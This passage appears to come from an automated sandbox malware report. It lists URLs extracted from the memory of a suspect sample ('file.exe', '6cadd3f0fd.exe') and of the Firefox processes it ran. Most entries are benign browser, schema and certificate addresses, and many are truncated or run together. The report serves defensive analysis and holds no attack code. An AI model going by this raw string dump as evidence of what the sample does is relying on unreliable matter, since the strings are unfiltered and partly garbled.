Source: firefox.exe, 0000001B.00000002.2773817495.000001C174760000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.removeEventListenerThe
Source: firefox.exe, 0000001B.00000002.2736051759.000001C170326000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/common
Source: firefox.exe, 0000001B.00000002.2736051759.000001C170347000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/dates-and-times
Source: firefox.exe, 0000001B.00000002.2736051759.000001C170326000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/math
Source: firefox.exe, 0000001B.00000002.2736051759.000001C170347000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/regular-expressions
Source: firefox.exe, 0000001B.00000002.2736051759.000001C170326000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/sets
Source: firefox.exe, 0000001B.00000002.2733122243.000001C164C03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/stringsd
Source: firefox.exe, 0000001B.00000002.2785119034.000001C1752B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-04/schema#
Source: firefox.exe, 0000001B.00000002.2785119034.000001C1752B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-06/schema#
Source: firefox.exe, 0000001B.00000002.2785119034.000001C1752B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-07/schema#-
Source: firefox.exe, 0000001B.00000002.2785119034.000001C1752B5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2706509411.000001C17EDBC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org
Source: firefox.exe, 0000001B.00000002.2757990027.000001C1726C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170DEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/additionalProperties
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/addonsFeatureGate
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/addonsShowLessFrequentlyCap
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/addonsUITreatment
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/autoFillAdaptiveHistoryEnabled
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170DEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/autoFillAdaptiveHistoryMinCharsThreshold
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170DEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/autoFillAdaptiveHistoryUseCountThreshold
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bestMatchBlockingEnabled
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170DAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bestMatchEnabledtoolkit.scrollbox.scrollIncrement
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170DAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bestMatchEnabledtoolkit.scrollbox.scrollIncrementtoolkit.scrollbox.c
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170DEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/experimentType
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170DEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/exposureResults
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170DEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/mdnFeatureGate
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170DEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/merinoEnabled
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170DEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/merinoProviders
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170DEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/merinoTimeoutMs
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170DEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestAllowPositionInSuggestions
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170DEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestDataCollectionEnabled
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170DEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestImpressionCapsNonSponsoredEnabled
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170DEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestImpressionCapsSponsoredEnabled
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170DEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestOnboardingDialogVariation
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170DEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestRemoteSettingsDataType
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170DEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestRemoteSettingsEnabled
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170DEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/weatherKeywords
Source: firefox.exe, 0000001B.00000003.2678449963.000001C178050000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2679591143.000001C177458000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2678449963.000001C17807F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2679591143.000001C177443000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2679591143.000001C177462000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2678449963.000001C1780B8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2678449963.000001C1780B6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2774091351.000001C174804000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2678449963.000001C178069000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2771686385.000001C1746CA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2784200598.000001C17503B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2749174259.000001C171944000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2774091351.000001C17483B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2678449963.000001C178070000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2778187093.000001C174C03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2774091351.000001C174807000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2697397677.000001C175776000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2607713680.000001C1746DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2678449963.000001C178039000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2757990027.000001C1726EF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2603876915.000001C175780000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: file.exe, 00000000.00000003.1710536218.0000000005A41000.00000004.00000800.00020000.00000000.sdmp, 6cadd3f0fd.exe, 00000009.00000003.2483187164.000000000537D000.00000004.00000800.00020000.00000000.sdmp, 6cadd3f0fd.exe, 0000000D.00000003.2630536673.00000000058A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000003.1710536218.0000000005A41000.00000004.00000800.00020000.00000000.sdmp, 6cadd3f0fd.exe, 00000009.00000003.2483187164.000000000537D000.00000004.00000800.00020000.00000000.sdmp, 6cadd3f0fd.exe, 0000000D.00000003.2630536673.00000000058A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: firefox.exe, 0000001B.00000002.2742669039.000001C17097D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2746480848.000001C170D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%shttp://compose.mail.yahoo.co.jp/ym/Compose?To=%s_finalizeInter
Source: firefox.exe, 0000001B.00000002.2757990027.000001C1726EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%sw
Source: firefox.exe, 0000001B.00000002.2749174259.000001C17196C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.i.lencr.org/0.
Source: firefox.exe, 0000001B.00000003.2679591143.000001C177462000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.i.lencr.org/0W
Source: firefox.exe, 0000001B.00000002.2749174259.000001C17196C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2679591143.000001C177462000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.o.lencr.org0
Source: firefox.exe, 0000001B.00000002.2742669039.000001C17097D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2746480848.000001C170D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%sextractScheme/fixupChangedProtocol
Source: firefox.exe, 0000001B.00000002.2757990027.000001C1726EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%sy
Source: firefox.exe, 0000001B.00000002.2742669039.000001C17097D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2746480848.000001C170D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%s
Source: firefox.exe, 0000001B.00000002.2757990027.000001C1726EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%su
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170DAF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2681293561.000001C175654000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
Source: firefox.exe, 0000001B.00000002.2778187093.000001C174C03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul8
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170D9E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulCan
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170DAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://browser/content/places/browser
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170DAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://global/content/elements/autoco
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170DAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://global/content/elements/moz-in
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170DAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://global/content/shopping/Shoppi
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170D9E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xuldedupeLogins/shouldReplaceExisting:
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170DAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulhttp://www.mozilla.org/keymaster/gateke
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170D9E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xuloncommand=closebuttoncommand
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170D9E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource:///modules/BrowserSearchTeleme
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170D9E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource:///modules/PartnerLinkAttribut
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170D26000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource:///modules/sessionstore/Sessio
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource://activity-stream/lib/ASRouter
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170D9E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource://gre/modules/ExtensionSearchH
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170DAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource://gre/modules/PrivateBrowsingU
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulsrc=image
Source: firefox.exe, 00000020.00000002.2730820212.000002B797CFD000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2676983185.000002B797CFD000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2681525052.000002B797CFD000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2675377551.000002B797CFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.videolan.org/x264.html
Source: file.exe, 00000000.00000003.1710536218.0000000005A41000.00000004.00000800.00020000.00000000.sdmp, 6cadd3f0fd.exe, 00000009.00000003.2483187164.000000000537D000.00000004.00000800.00020000.00000000.sdmp, 6cadd3f0fd.exe, 0000000D.00000003.2630536673.00000000058A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000000.00000003.1710536218.0000000005A41000.00000004.00000800.00020000.00000000.sdmp, 6cadd3f0fd.exe, 00000009.00000003.2483187164.000000000537D000.00000004.00000800.00020000.00000000.sdmp, 6cadd3f0fd.exe, 0000000D.00000003.2630536673.00000000058A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: firefox.exe, 0000001B.00000002.2785119034.000001C1752DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://youtube.com/
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.malware-error.mozilla.com/?url=
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-error.mozilla.com/?url=
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-report.mozilla.com/?url=
Source: firefox.exe, 0000001B.00000003.2598025300.000001C174877000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2746480848.000001C170D72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2762165135.000001C1731A0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000003.2597108445.000001C17481F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2597604309.000001C17485A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2597314679.000001C17483C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2596897657.000001C174600000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/initializeAttributeInheritance
Source: file.exe, 00000000.00000003.1681589317.0000000005A57000.00000004.00000800.00020000.00000000.sdmp, 6cadd3f0fd.exe, 00000009.00000003.2454915918.00000000052B9000.00000004.00000800.00020000.00000000.sdmp, 6cadd3f0fd.exe, 0000000D.00000003.2586097370.000000000589C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: firefox.exe, 0000001B.00000002.2734125620.000001C166828000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accoun.google.com/v3/signin/challeng
Source: firefox.exe, 0000001B.00000002.2757990027.000001C172674000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.2749174259.000001C171903000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/settings/clients
Source: firefox.exe, 0000001B.00000002.2778559508.000001C174DCD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.comK
Source: firefox.exe, 0000001B.00000003.2678449963.000001C178039000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 0000001B.00000002.2733122243.000001C164C03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/language-tools/
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search-engines/
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search?q=%TERMS%&platform=%OS%&appver=%VERSION%
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/themes
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org_migrateXULStoreForDocumentdevice-connected-notificationbrowser.handlers.m
Source: firefox.exe, 0000001B.00000002.2780914101.000001C174EE3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2746480848.000001C170D03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2780914101.000001C174E6C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ads.stickyadstv.com/firefox-etp
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ads.stickyadstv.com/firefox-etpUsing
Source: firefox.exe, 0000001B.00000002.2749174259.000001C171978000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2757990027.000001C172674000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://amazon.com
Source: firefox.exe, 0000001B.00000002.2785119034.000001C1752DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://amazon.com/
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://api.accounts.firefox.com/v1
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/app/firefox-private-safe-browser/id989804926
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/us/app/firefox-private-network-vpn/id1489407738
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/GMP/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%OS_VER
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/SystemAddons/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170D72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2733122243.000001C164C11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/%PRODUCT%/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170D03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2678449963.000001C178039000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/Firefox/118.0.1/20230927232528/WINNT_x86_64-msvc-x64/en-US/release
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/%blockID%.html
Source: firefox.exe, 0000001B.00000002.2736051759.000001C1703AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723930872.00000154760CA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2722359273.000002B7970E9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: firefox.exe, 0000001B.00000002.2736051759.000001C1703AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723930872.00000154760CA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2722359273.000002B7970E9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: firefox.exe, 0000001B.00000002.2749174259.000001C171978000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2749174259.000001C17191A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mo
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170DAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1238180
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170DAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1238180Required
